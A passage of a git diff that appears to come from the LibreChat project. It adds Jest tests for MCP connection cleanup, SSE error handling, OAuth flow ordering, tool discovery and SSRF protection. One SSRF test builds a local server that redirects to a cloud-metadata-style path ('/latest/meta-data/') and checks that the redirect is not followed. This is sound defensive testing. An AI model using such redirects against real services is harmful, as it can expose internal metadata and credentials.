server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + expect(closeSpy).not.toHaveBeenCalled(); + + await safeDisconnect(conn); + expect(closeSpy).toHaveBeenCalled(); + conn = null; + }); + + it('closes at least two Agents for SSE transport (eventSourceInit + fetch)', async () => { + conn = new MCPConnection({ + serverName: 'test-sse', + serverConfig: { url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + await safeDisconnect(conn); + + expect(closeSpy.mock.calls.length).toBeGreaterThanOrEqual(2); + conn = null; + }); + + it('does not double-close Agents when disconnect() is called twice', async () => { + conn = new MCPConnection({ + serverName: 'test-sse', + serverConfig: { url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + await safeDisconnect(conn); + + const countAfterFirst = closeSpy.mock.calls.length; + await safeDisconnect(conn); + expect(closeSpy.mock.calls.length).toBe(countAfterFirst); + conn = null; + }); +}); + +describe('Regression: old per-request Agent pattern leaks agents', () => { + let server: TestServer; + let conn: MCPConnection | null; + + beforeEach(async () => { + server = await createStreamableServer(); + conn = null; + }); + + afterEach(async () => { + MCPConnection.clearCooldown('test-regression'); + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + await server.close(); + }); + + it('per-request Agent allocation prevents any agent from being closed on disconnect', async () => { + conn = new MCPConnection({ + serverName: 'test-regression', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + /** + * Monkey-patch createFetchFunction to replicate the old per-request Agent behavior. + * In the old code, `new Agent()` was inside the returned closure, so each call to + * the fetch function allocated a fresh Agent that was never stored or closed. + */ + const privateSelf = conn as unknown as Record & { agents: Agent[] }; + + const originalMethod = (privateSelf.createFetchFunction as (...a: unknown[]) => unknown).bind( + conn, + ); + + privateSelf.createFetchFunction = (_getHeaders: unknown, timeout?: number) => { + const effectiveTimeout = timeout ?? 60000; + return (input: unknown, init?: unknown) => { + const agent = new Agent({ + bodyTimeout: effectiveTimeout, + headersTimeout: effectiveTimeout, + }); + return undiciFetch(input as string, { + ...(init as Record), + dispatcher: agent, + }); + }; + }; + + const closeSpy = jest.spyOn(Agent.prototype, 'close'); + + await conn.connect(); + await conn.fetchTools(); + await conn.fetchTools(); + await conn.fetchTools(); + + /** + * The old pattern: agents is empty because none were stored. + * disconnecting closes nothing. + */ + expect(privateSelf.agents.length).toBe(0); + + await safeDisconnect(conn); + + expect(closeSpy).not.toHaveBeenCalled(); + + /** Restore the real method so afterEach teardown works cleanly. */ + privateSelf.createFetchFunction = originalMethod; + conn = null; + }); +}); + +describe('MCPConnection SSE 404 handling – session-aware', () => { + function makeTransportStub(sessionId?: string) { + return { + ...(sessionId != null ? { sessionId } : {}), + onerror: undefined as ((e: Error) => void) | undefined, + onclose: undefined as (() => void) | undefined, + onmessage: undefined as ((m: unknown) => void) | undefined, + start: jest.fn(), + close: jest.fn(), + send: jest.fn(), + }; + } + + function makeConn() { + return new MCPConnection({ + serverName: 'test-404', + serverConfig: { url: 'http://127.0.0.1:1/sse' }, + useSSRFProtection: false, + }); + } + + function fire404(conn: MCPConnection, transport: ReturnType) { + ( + conn as unknown as { setupTransportErrorHandlers: (t: unknown) => void } + ).setupTransportErrorHandlers(transport); + const sseError = Object.assign(new Error('Failed to open SSE stream'), { code: 404 }); + transport.onerror?.(sseError); + } + + beforeEach(() => { + mockLogger.warn.mockClear(); + mockLogger.error.mockClear(); + }); + + it('silently ignores a 404 when no session is established (backwards-compat probe)', () => { + const conn = makeConn(); + const transport = makeTransportStub(); + const emitSpy = jest.spyOn(conn, 'emit'); + + fire404(conn, transport); + + expect(mockLogger.warn).toHaveBeenCalledWith(expect.stringContaining('no session')); + expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error'); + }); + + it('falls through on a 404 when a session already exists, triggering reconnection', () => { + const conn = makeConn(); + const transport = makeTransportStub('existing-session-id'); + const emitSpy = jest.spyOn(conn, 'emit'); + + fire404(conn, transport); + + expect(mockLogger.warn).toHaveBeenCalledWith(expect.stringContaining('session lost')); + expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error'); + }); + + it('treats an empty-string sessionId as no session (guards against falsy sessionId)', () => { + const conn = makeConn(); + const transport = makeTransportStub(''); + const emitSpy = jest.spyOn(conn, 'emit'); + + fire404(conn, transport); + + expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error'); + }); +}); + +describe('MCPConnection SSE stream disconnect handling', () => { + function makeTransportStub() { + return { + onerror: undefined as ((e: Error) => void) | undefined, + onclose: undefined as (() => void) | undefined, + onmessage: undefined as ((m: unknown) => void) | undefined, + start: jest.fn(), + close: jest.fn(), + send: jest.fn(), + }; + } + + function makeConn() { + return new MCPConnection({ + serverName: 'test-sse-disconnect', + serverConfig: { url: 'http://127.0.0.1:1/sse' }, + useSSRFProtection: false, + }); + } + + function bindErrorHandler(conn: MCPConnection, transport: ReturnType) { + ( + conn as unknown as { setupTransportErrorHandlers: (t: unknown) => void } + ).setupTransportErrorHandlers(transport); + } + + beforeEach(() => { + mockLogger.debug.mockClear(); + mockLogger.error.mockClear(); + }); + + it('suppresses "SSE stream disconnected" errors from escalating to full reconnection', () => { + const conn = makeConn(); + const transport = makeTransportStub(); + const emitSpy = jest.spyOn(conn, 'emit'); + bindErrorHandler(conn, transport); + + transport.onerror?.( + new Error('SSE stream disconnected: AbortError: The operation was aborted'), + ); + + expect(mockLogger.debug).toHaveBeenCalledWith( + expect.stringContaining('SDK SSE stream recovery in progress'), + ); + expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error'); + }); + + it('suppresses "Failed to reconnect SSE stream" errors (SDK still has retries left)', () => { + const conn = makeConn(); + const transport = makeTransportStub(); + const emitSpy = jest.spyOn(conn, 'emit'); + bindErrorHandler(conn, transport); + + transport.onerror?.(new Error('Failed to reconnect SSE stream: connection refused')); + + expect(mockLogger.debug).toHaveBeenCalledWith( + expect.stringContaining('SDK SSE stream recovery in progress'), + ); + expect(emitSpy).not.toHaveBeenCalledWith('connectionChange', 'error'); + }); + + it('escalates "Maximum reconnection attempts exceeded" (SDK gave up)', () => { + const conn = makeConn(); + const transport = makeTransportStub(); + const emitSpy = jest.spyOn(conn, 'emit'); + bindErrorHandler(conn, transport); + + transport.onerror?.(new Error('Maximum reconnection attempts (2) exceeded.')); + + expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error'); + }); + + it('still escalates non-SSE-stream errors (e.g. POST failures)', () => { + const conn = makeConn(); + const transport = makeTransportStub(); + const emitSpy = jest.spyOn(conn, 'emit'); + bindErrorHandler(conn, transport); + + transport.onerror?.(new Error('Streamable HTTP error: Error POSTing to endpoint: 500')); + + expect(emitSpy).toHaveBeenCalledWith('connectionChange', 'error'); + }); +}); + +describe('MCPConnection SSE GET stream recovery – integration', () => { + let server: TestServer; + let conn: MCPConnection | null; + + beforeEach(async () => { + server = await createStreamableServer(); + conn = null; + }); + + afterEach(async () => { + MCPConnection.clearCooldown('test-sse-recovery'); + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + await server.close(); + }); + + it('survives a GET SSE body timeout without triggering a full transport rebuild', async () => { + const SHORT_SSE_TIMEOUT = 1500; + + conn = new MCPConnection({ + serverName: 'test-sse-recovery', + serverConfig: { + type: 'streamable-http', + url: server.url, + sseReadTimeout: SHORT_SSE_TIMEOUT, + }, + useSSRFProtection: false, + }); + + await conn.connect(); + + await conn.fetchTools(); + + /** + * Wait for the GET SSE body timeout to fire. The SDK will see a stream + * error and call onerror("SSE stream disconnected: …"), then internally + * schedule a reconnection. Our handler should suppress the escalation. + */ + await new Promise((resolve) => setTimeout(resolve, SHORT_SSE_TIMEOUT + 1000)); + + expect(mockLogger.debug).toHaveBeenCalledWith( + expect.stringContaining('SDK SSE stream recovery in progress'), + ); + expect(mockLogger.error).not.toHaveBeenCalledWith( + expect.stringContaining('Reconnection handler failed'), + expect.anything(), + ); + + /** + * The connection should still be functional — POST requests use a + * separate Agent with the normal timeout and are unaffected. + */ + const tools = await conn.fetchTools(); + expect(tools).toBeDefined(); + }, 10_000); +}); diff --git a/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts index 528e635204..bceb23b246 100644 --- a/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts +++ b/packages/api/src/mcp/__tests__/MCPConnectionFactory.test.ts @@ -1,6 +1,5 @@ import { logger } from '@librechat/data-schemas'; -import type { TokenMethods } from '@librechat/data-schemas'; -import type { TUser } from 'librechat-data-provider'; +import type { TokenMethods, IUser } from '@librechat/data-schemas'; import type { FlowStateManager } from '~/flow/manager'; import type { MCPOAuthTokens } from '~/mcp/oauth'; import type * as t from '~/mcp/types'; @@ -27,7 +26,7 @@ const mockMCPConnection = MCPConnection as jest.MockedClass; describe('MCPConnectionFactory', () => { - let mockUser: TUser; + let mockUser: IUser | undefined; let mockServerConfig: t.MCPOptions; let mockFlowManager: jest.Mocked>; let mockConnectionInstance: jest.Mocked; @@ -37,7 +36,7 @@ describe('MCPConnectionFactory', () => { mockUser = { id: 'user123', email: 'test@example.com', - } as TUser; + } as IUser; mockServerConfig = { command: 'node', @@ -46,6 +45,7 @@ describe('MCPConnectionFactory', () => { } as t.MCPOptions; mockFlowManager = { + initFlow: jest.fn().mockResolvedValue(undefined), createFlow: jest.fn(), createFlowWithHandler: jest.fn(), getFlowState: jest.fn(), @@ -79,12 +79,16 @@ describe('MCPConnectionFactory', () => { const connection = await MCPConnectionFactory.create(basicOptions); expect(connection).toBe(mockConnectionInstance); - expect(mockProcessMCPEnv).toHaveBeenCalledWith({ options: mockServerConfig }); + expect(mockProcessMCPEnv).toHaveBeenCalledWith({ + options: mockServerConfig, + dbSourced: undefined, + }); expect(mockMCPConnection).toHaveBeenCalledWith({ serverName: 'test-server', serverConfig: mockServerConfig, userId: undefined, oauthTokens: null, + useSSRFProtection: false, }); expect(mockConnectionInstance.connect).toHaveBeenCalled(); }); @@ -120,12 +124,17 @@ describe('MCPConnectionFactory', () => { const connection = await MCPConnectionFactory.create(basicOptions, oauthOptions); expect(connection).toBe(mockConnectionInstance); - expect(mockProcessMCPEnv).toHaveBeenCalledWith({ options: mockServerConfig, user: mockUser }); + expect(mockProcessMCPEnv).toHaveBeenCalledWith({ + options: mockServerConfig, + user: mockUser, + dbSourced: undefined, + }); expect(mockMCPConnection).toHaveBeenCalledWith({ serverName: 'test-server', serverConfig: mockServerConfig, userId: 'user123', oauthTokens: mockTokens, + useSSRFProtection: false, }); }); }); @@ -185,6 +194,7 @@ describe('MCPConnectionFactory', () => { serverConfig: mockServerConfig, userId: 'user123', oauthTokens: null, + useSSRFProtection: false, }); expect(mockLogger.debug).toHaveBeenCalledWith( expect.stringContaining('No existing tokens found or error loading tokens'), @@ -231,7 +241,8 @@ describe('MCPConnectionFactory', () => { }; mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData); - mockFlowManager.createFlow.mockRejectedValue(new Error('Timeout expected')); + // createFlow runs as a background monitor — simulate it staying pending + mockFlowManager.createFlow.mockReturnValue(new Promise(() => {})); mockConnectionInstance.isConnected.mockResolvedValue(false); let oauthRequiredHandler: (data: Record) => Promise; @@ -259,6 +270,18 @@ describe('MCPConnectionFactory', () => { {}, undefined, ); + + // initFlow must be awaited BEFORE the redirect to guarantee state is stored + expect(mockFlowManager.initFlow).toHaveBeenCalledWith( + 'flow123', + 'mcp_oauth', + expect.objectContaining(mockFlowData.flowMetadata), + ); + const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0]; + const oauthStartCallOrder = (oauthOptions.oauthStart as jest.Mock).mock + .invocationCallOrder[0]; + expect(initCallOrder).toBeLessThan(oauthStartCallOrder); + expect(oauthOptions.oauthStart).toHaveBeenCalledWith('https://auth.example.com'); expect(mockConnectionInstance.emit).toHaveBeenCalledWith( 'oauthFailed', @@ -268,14 +291,291 @@ describe('MCPConnectionFactory', () => { ); }); - it('should delete existing flow before creating new OAuth flow to prevent stale codeVerifier', async () => { + it('should skip new OAuth flow initiation when a PENDING flow already exists (returnOnOAuth)', async () => { const basicOptions = { serverName: 'test-server', serverConfig: mockServerConfig, user: mockUser, }; + const oauthOptions: t.OAuthConnectionOptions = { + user: mockUser, + useOAuth: true, + returnOnOAuth: true, + oauthStart: jest.fn(), + flowManager: mockFlowManager, + }; + + mockFlowManager.getFlowState.mockResolvedValue({ + status: 'PENDING', + type: 'mcp_oauth', + metadata: { codeVerifier: 'existing-verifier' }, + createdAt: Date.now(), + }); + mockConnectionInstance.isConnected.mockResolvedValue(false); + + let oauthRequiredHandler: (data: Record) => Promise; + mockConnectionInstance.on.mockImplementation((event, handler) => { + if (event === 'oauthRequired') { + oauthRequiredHandler = handler as (data: Record) => Promise; + } + return mockConnectionInstance; + }); + + try { + await MCPConnectionFactory.create(basicOptions, oauthOptions); + } catch { + // Expected to fail + } + + await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' }); + + expect(mockMCPOAuthHandler.initiateOAuthFlow).not.toHaveBeenCalled(); + expect(mockFlowManager.deleteFlow).not.toHaveBeenCalled(); + expect(mockConnectionInstance.emit).toHaveBeenCalledWith( + 'oauthFailed', + expect.objectContaining({ message: 'OAuth flow initiated - return early' }), + ); + }); + + it('should emit oauthFailed when initFlow fails to store flow state (returnOnOAuth)', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: { + ...mockServerConfig, + url: 'https://api.example.com', + type: 'sse' as const, + } as t.SSEOptions, + }; + const oauthOptions = { + useOAuth: true as const, + user: mockUser, + flowManager: mockFlowManager, + returnOnOAuth: true, + oauthStart: jest.fn(), + tokenMethods: { + findToken: jest.fn(), + createToken: jest.fn(), + updateToken: jest.fn(), + deleteTokens: jest.fn(), + }, + }; + + const mockFlowData = { + authorizationUrl: 'https://auth.example.com', + flowId: 'flow123', + flowMetadata: { + serverName: 'test-server', + userId: 'user123', + serverUrl: 'https://api.example.com', + state: 'state123', + }, + }; + + mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData); + mockFlowManager.initFlow.mockRejectedValue(new Error('Store write failed')); + mockConnectionInstance.isConnected.mockResolvedValue(false); + + let oauthRequiredHandler: (data: Record) => Promise; + mockConnectionInstance.on.mockImplementation((event, handler) => { + if (event === 'oauthRequired') { + oauthRequiredHandler = handler as (data: Record) => Promise; + } + return mockConnectionInstance; + }); + + try { + await MCPConnectionFactory.create(basicOptions, oauthOptions); + } catch { + // Expected to fail + } + + await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' }); + + // initFlow failed, so oauthStart should NOT have been called (redirect never happens) + expect(oauthOptions.oauthStart).not.toHaveBeenCalled(); + // createFlow should NOT have been called since initFlow failed first + expect(mockFlowManager.createFlow).not.toHaveBeenCalled(); + expect(mockConnectionInstance.emit).toHaveBeenCalledWith( + 'oauthFailed', + expect.objectContaining({ message: 'OAuth initiation failed' }), + ); + expect(mockLogger.error).toHaveBeenCalled(); + }); + + it('should log warnings when background createFlow monitor rejects (returnOnOAuth)', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: { + ...mockServerConfig, + url: 'https://api.example.com', + type: 'sse' as const, + } as t.SSEOptions, + }; + + const oauthOptions = { + useOAuth: true as const, + user: mockUser, + flowManager: mockFlowManager, + returnOnOAuth: true, + oauthStart: jest.fn(), + tokenMethods: { + findToken: jest.fn(), + createToken: jest.fn(), + updateToken: jest.fn(), + deleteTokens: jest.fn(), + }, + }; + + const mockFlowData = { + authorizationUrl: 'https://auth.example.com', + flowId: 'flow123', + flowMetadata: { + serverName: 'test-server', + userId: 'user123', + serverUrl: 'https://api.example.com', + state: 'state123', + }, + }; + + mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData); + // Simulate the background monitor timing out + mockFlowManager.createFlow.mockRejectedValue(new Error('mcp_oauth flow timed out')); + mockConnectionInstance.isConnected.mockResolvedValue(false); + + let oauthRequiredHandler: (data: Record) => Promise; + mockConnectionInstance.on.mockImplementation((event, handler) => { + if (event === 'oauthRequired') { + oauthRequiredHandler = handler as (data: Record) => Promise; + } + return mockConnectionInstance; + }); + + try { + await MCPConnectionFactory.create(basicOptions, oauthOptions); + } catch { + // Expected to fail + } + + await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' }); + + // Allow the .catch handler on createFlow to execute + await Promise.resolve(); + + // initFlow should have succeeded and redirect should have happened + expect(mockFlowManager.initFlow).toHaveBeenCalled(); + expect(oauthOptions.oauthStart).toHaveBeenCalledWith('https://auth.example.com'); + // The background monitor error should be logged, not silently swallowed + expect(mockLogger.debug).toHaveBeenCalledWith( + expect.stringContaining('OAuth flow monitor ended'), + expect.any(Error), + ); + }); + + it('should call initFlow before createFlow in blocking OAuth path (non-returnOnOAuth)', async () => { + const sseConfig = { + ...mockServerConfig, + url: 'https://api.example.com', + type: 'sse' as const, + } as t.SSEOptions; + + const basicOptions = { + serverName: 'test-server', + serverConfig: sseConfig, + }; + + const oauthOptions = { + useOAuth: true as const, + user: mockUser, + flowManager: mockFlowManager, + oauthStart: jest.fn(), + oauthEnd: jest.fn(), + tokenMethods: { + findToken: jest.fn(), + createToken: jest.fn(), + updateToken: jest.fn(), + deleteTokens: jest.fn(), + }, + }; + + const mockFlowData = { + authorizationUrl: 'https://auth.example.com', + flowId: 'flow123', + flowMetadata: { + serverName: 'test-server', + userId: 'user123', + serverUrl: 'https://api.example.com', + state: 'random-state', + clientInfo: { client_id: 'client123' }, + metadata: { + token_endpoint: 'https://auth.example.com/token', + authorization_endpoint: 'https://auth.example.com/authorize', + }, + }, + }; + + const mockTokens: MCPOAuthTokens = { + access_token: 'access123', + refresh_token: 'refresh123', + token_type: 'Bearer', + obtained_at: Date.now(), + }; + + // processMCPEnv must return config with url so handleOAuthRequired proceeds + mockProcessMCPEnv.mockReturnValue(sseConfig); + mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData); + mockMCPOAuthHandler.generateFlowId.mockReturnValue('flow123'); + mockFlowManager.getFlowState.mockResolvedValue(null); + mockFlowManager.createFlow.mockResolvedValue(mockTokens); + mockConnectionInstance.isConnected.mockResolvedValue(false); + + let oauthRequiredHandler: (data: Record) => Promise; + mockConnectionInstance.on.mockImplementation((event, handler) => { + if (event === 'oauthRequired') { + oauthRequiredHandler = handler as (data: Record) => Promise; + } + return mockConnectionInstance; + }); + + try { + await MCPConnectionFactory.create(basicOptions, oauthOptions); + } catch { + // Expected to fail + } + + await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' }); + + // initFlow must be called BEFORE oauthStart and createFlow + expect(mockFlowManager.initFlow).toHaveBeenCalledWith( + 'flow123', + 'mcp_oauth', + expect.objectContaining(mockFlowData.flowMetadata), + ); + const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0]; + const oauthStartCallOrder = (oauthOptions.oauthStart as jest.Mock).mock + .invocationCallOrder[0]; + const createCallOrder = mockFlowManager.createFlow.mock.invocationCallOrder[0]; + expect(initCallOrder).toBeLessThan(oauthStartCallOrder); + expect(initCallOrder).toBeLessThan(createCallOrder); + + // createFlow should receive {} since initFlow already persisted metadata + expect(mockFlowManager.createFlow).toHaveBeenCalledWith( + 'flow123', + 'mcp_oauth', + {}, + undefined, + ); + }); + + it('should delete stale flow and create new OAuth flow when existing flow is COMPLETED', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: mockServerConfig, + user: mockUser, + }; + + const oauthOptions: t.OAuthConnectionOptions = { user: mockUser, useOAuth: true, returnOnOAuth: true, @@ -301,9 +601,16 @@ describe('MCPConnectionFactory', () => { }, }; + mockFlowManager.getFlowState.mockResolvedValue({ + status: 'COMPLETED', + type: 'mcp_oauth', + metadata: { codeVerifier: 'old-verifier' }, + createdAt: Date.now() - 60000, + }); mockMCPOAuthHandler.initiateOAuthFlow.mockResolvedValue(mockFlowData); mockFlowManager.deleteFlow.mockResolvedValue(true); - mockFlowManager.createFlow.mockRejectedValue(new Error('Timeout expected')); + // createFlow runs as a background monitor — simulate it staying pending + mockFlowManager.createFlow.mockReturnValue(new Promise(() => {})); mockConnectionInstance.isConnected.mockResolvedValue(false); let oauthRequiredHandler: (data: Record) => Promise; @@ -317,27 +624,34 @@ describe('MCPConnectionFactory', () => { try { await MCPConnectionFactory.create(basicOptions, oauthOptions); } catch { - // Expected to fail due to connection not established + // Expected to fail } await oauthRequiredHandler!({ serverUrl: 'https://api.example.com' }); - // Verify deleteFlow was called with correct parameters expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('user123:test-server', 'mcp_oauth'); - // Verify deleteFlow was called before createFlow + // initFlow must be called after deleteFlow and before createFlow const deleteCallOrder = mockFlowManager.deleteFlow.mock.invocationCallOrder[0]; + const initCallOrder = mockFlowManager.initFlow.mock.invocationCallOrder[0]; const createCallOrder = mockFlowManager.createFlow.mock.invocationCallOrder[0]; - expect(deleteCallOrder).toBeLessThan(createCallOrder); + expect(deleteCallOrder).toBeLessThan(initCallOrder); + expect(initCallOrder).toBeLessThan(createCallOrder); - // Verify createFlow was called with fresh metadata - // 4th arg is the abort signal (undefined in this test since no signal was provided) - expect(mockFlowManager.createFlow).toHaveBeenCalledWith( + expect(mockFlowManager.initFlow).toHaveBeenCalledWith( 'user123:test-server', 'mcp_oauth', expect.objectContaining({ codeVerifier: 'new-code-verifier-xyz', }), + ); + + // createFlow finds the existing PENDING state written by initFlow, + // so metadata arg is unused (passed as {}) + expect(mockFlowManager.createFlow).toHaveBeenCalledWith( + 'user123:test-server', + 'mcp_oauth', + {}, undefined, ); }); @@ -424,4 +738,116 @@ describe('MCPConnectionFactory', () => { ); }); }); + + describe('discoverTools static method', () => { + const mockTools = [ + { name: 'tool1', description: 'First tool', inputSchema: { type: 'object' } }, + { name: 'tool2', description: 'Second tool', inputSchema: { type: 'object' } }, + ]; + + it('should discover tools from a successfully connected server', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: mockServerConfig, + }; + + mockConnectionInstance.connect.mockResolvedValue(undefined); + mockConnectionInstance.isConnected.mockResolvedValue(true); + mockConnectionInstance.fetchTools = jest.fn().mockResolvedValue(mockTools); + + const result = await MCPConnectionFactory.discoverTools(basicOptions); + + expect(result.tools).toEqual(mockTools); + expect(result.oauthRequired).toBe(false); + expect(result.oauthUrl).toBeNull(); + expect(result.connection).toBe(mockConnectionInstance); + }); + + it('should detect OAuth required without generating URL in discovery mode', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: { + ...mockServerConfig, + url: 'https://api.example.com', + type: 'sse' as const, + } as t.SSEOptions, + }; + + const mockOAuthStart = jest.fn().mockResolvedValue(undefined); + + const oauthOptions = { + useOAuth: true as const, + user: mockUser as unknown as IUser, + flowManager: mockFlowManager, + oauthStart: mockOAuthStart, + tokenMethods: { + findToken: jest.fn(), + createToken: jest.fn(), + updateToken: jest.fn(), + deleteTokens: jest.fn(), + }, + }; + + mockConnectionInstance.isConnected.mockResolvedValue(false); + mockConnectionInstance.disconnect = jest.fn().mockResolvedValue(undefined); + + let oauthHandler: (() => Promise) | undefined; + mockConnectionInstance.on.mockImplementation((event, handler) => { + if (event === 'oauthRequired') { + oauthHandler = handler as () => Promise; + } + return mockConnectionInstance; + }); + + mockConnectionInstance.connect.mockImplementation(async () => { + if (oauthHandler) { + await oauthHandler(); + } + throw new Error('OAuth required'); + }); + + const result = await MCPConnectionFactory.discoverTools(basicOptions, oauthOptions); + + expect(result.connection).toBeNull(); + expect(result.tools).toBeNull(); + expect(result.oauthRequired).toBe(true); + expect(result.oauthUrl).toBeNull(); + expect(mockOAuthStart).not.toHaveBeenCalled(); + }); + + it('should return null tools when discovery fails completely', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: mockServerConfig, + }; + + mockConnectionInstance.connect.mockRejectedValue(new Error('Connection failed')); + mockConnectionInstance.isConnected.mockResolvedValue(false); + mockConnectionInstance.disconnect = jest.fn().mockResolvedValue(undefined); + + const result = await MCPConnectionFactory.discoverTools(basicOptions); + + expect(result.tools).toBeNull(); + expect(result.connection).toBeNull(); + expect(result.oauthRequired).toBe(false); + }); + + it('should handle disconnect errors gracefully during cleanup', async () => { + const basicOptions = { + serverName: 'test-server', + serverConfig: mockServerConfig, + }; + + mockConnectionInstance.connect.mockRejectedValue(new Error('Connection failed')); + mockConnectionInstance.isConnected.mockResolvedValue(false); + mockConnectionInstance.disconnect = jest + .fn() + .mockRejectedValue(new Error('Disconnect failed')); + + const result = await MCPConnectionFactory.discoverTools(basicOptions); + + expect(result.tools).toBeNull(); + expect(mockLogger.debug).toHaveBeenCalled(); + }); + }); }); diff --git a/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts new file mode 100644 index 0000000000..b4eb58dbef --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPConnectionSSRF.test.ts @@ -0,0 +1,277 @@ +/** + * Integration tests for MCP SSRF protections. + * + * These tests spin up real in-process HTTP servers and verify that MCPConnection: + * + * 1. Does NOT follow HTTP redirects from SSE/StreamableHTTP transports + * (redirect: 'manual' prevents SSRF via server-controlled 301/302) + * 2. Blocks WebSocket connections to hosts that DNS-resolve to private IPs, + * regardless of whether useSSRFProtection is enabled (allowlist scenario) + */ + +import * as net from 'net'; +import * as http from 'http'; +import { randomUUID } from 'crypto'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import type { Socket } from 'net'; +import { MCPConnection } from '~/mcp/connection'; +import { resolveHostnameSSRF } from '~/auth'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0 }, +})); + +const mockedResolveHostnameSSRF = resolveHostnameSSRF as jest.MockedFunction< + typeof resolveHostnameSSRF +>; + +async function safeDisconnect(conn: MCPConnection | null): Promise { + if (!conn) { + return; + } + (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true; + conn.removeAllListeners(); + await conn.disconnect(); +} + +interface TestServer { + url: string; + redirectHit: boolean; + close: () => Promise; +} + +function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) { + socket.destroy(); + } + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +/** + * Creates an HTTP server that responds with a 301 redirect to a target URL. + * A second server is spun up at the redirect target to detect whether the + * redirect was actually followed. + */ +async function createRedirectingServer(redirectTarget: string): Promise { + const state = { redirectHit: false }; + + const targetPort = new URL(redirectTarget).port || '80'; + const targetServer = http.createServer((_req, res) => { + state.redirectHit = true; + res.writeHead(200, { 'Content-Type': 'text/plain' }); + res.end('You should not be here'); + }); + const destroyTargetSockets = trackSockets(targetServer); + await new Promise((resolve) => + targetServer.listen(parseInt(targetPort), '127.0.0.1', resolve), + ); + + const httpServer = http.createServer((_req, res) => { + res.writeHead(301, { Location: redirectTarget }); + res.end(); + }); + + const destroySockets = trackSockets(httpServer); + const port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + get redirectHit() { + return state.redirectHit; + }, + close: async () => { + await destroySockets(); + await destroyTargetSockets(); + }, + }; +} + +/** + * Creates a real StreamableHTTP MCP server for baseline connectivity tests. + */ +async function createStreamableServer(): Promise> { + const sessions = new Map(); + + const httpServer = http.createServer(async (req, res) => { + const sid = req.headers['mcp-session-id'] as string | undefined; + let transport = sid ? sessions.get(sid) : undefined; + + if (!transport) { + transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() }); + const mcp = new McpServer({ name: 'test-ssrf', version: '0.0.1' }); + await mcp.connect(transport); + } + + await transport.handleRequest(req, res); + + if (transport.sessionId && !sessions.has(transport.sessionId)) { + sessions.set(transport.sessionId, transport); + transport.onclose = () => sessions.delete(transport!.sessionId!); + } + }); + + const destroySockets = trackSockets(httpServer); + const port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + close: async () => { + const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined)); + sessions.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +describe('MCP SSRF protection – redirect blocking', () => { + let redirectServer: TestServer; + let conn: MCPConnection | null; + + afterEach(async () => { + await safeDisconnect(conn); + conn = null; + if (redirectServer) { + await redirectServer.close(); + } + jest.restoreAllMocks(); + }); + + it('should not follow redirects from streamable-http to a private IP', async () => { + const targetPort = await getFreePort(); + redirectServer = await createRedirectingServer( + `http://127.0.0.1:${targetPort}/latest/meta-data/`, + ); + + conn = new MCPConnection({ + serverName: 'redirect-test', + serverConfig: { type: 'streamable-http', url: redirectServer.url }, + useSSRFProtection: false, + }); + + await expect(conn.connect()).rejects.toThrow(); + expect(redirectServer.redirectHit).toBe(false); + }); + + it('should not follow redirects even with SSRF protection off (allowlist scenario)', async () => { + const targetPort = await getFreePort(); + redirectServer = await 